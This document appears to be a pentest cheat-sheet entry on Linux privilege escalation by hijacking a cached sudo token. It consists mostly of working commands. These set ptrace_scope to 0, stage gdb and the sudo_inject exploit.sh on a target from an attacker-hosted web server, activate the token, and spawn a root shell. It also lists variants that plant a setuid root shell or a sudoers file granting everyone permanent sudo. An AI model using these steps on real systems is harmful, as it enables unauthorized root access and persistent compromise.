In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait for him/her to execute some command using sudo. Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).
Practice
Requirements to escalate privileges:
The user have used sudo to execute something in the last 15mins (by default that's the duration of the sudo token that allows us to use sudo without introducing any password)
There is no restriction on ptrace
cat /proc/sys/kernel/yama/ptrace_scope
0
# We can temporariliy set 0 if we have permissions.
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
gdb is accessible (you can be able to upload it)
# In local machine, download the debian package.
wget http://fi.archive.ubuntu.com/ubuntu/pool/main/g/gdb/gdb_9.1-0ubuntu1_amd64.deb -O gdb.deb
python3 -m http.server
# In remote machine, download the deb package and extract it.
wget http://10.0.0.1:8000/gdb.deb
dpkg -x gdb.deb ~
Prepare the exploit script from the sudo_inject repo and execute it.
# In local machine, download the shell script to exploit.
wget https://github.com/nongiach/sudo_inject/blob/master/exploit.sh
python3 -m http.server
# In remote machine, download it and execute.
wget http://10.0.0.1:8000/exploit.sh
sh exploit.sh
After that, we can spawn a sudo shell, or execute command as sudo with the token
#Activate the token
/tmp/activate_sudo_token
#Enjoy
sudo su
sudo /usr/bin/sudo-bin
exploit.sh -> will create the binary activate_sudo_token in /tmp exploit_v2.sh -> will create a sh shell in /tmp owned by root with setuid exploit_v3.sh -> will create a sudoers file that makes sudo tokens eternal and allows all users to use sudo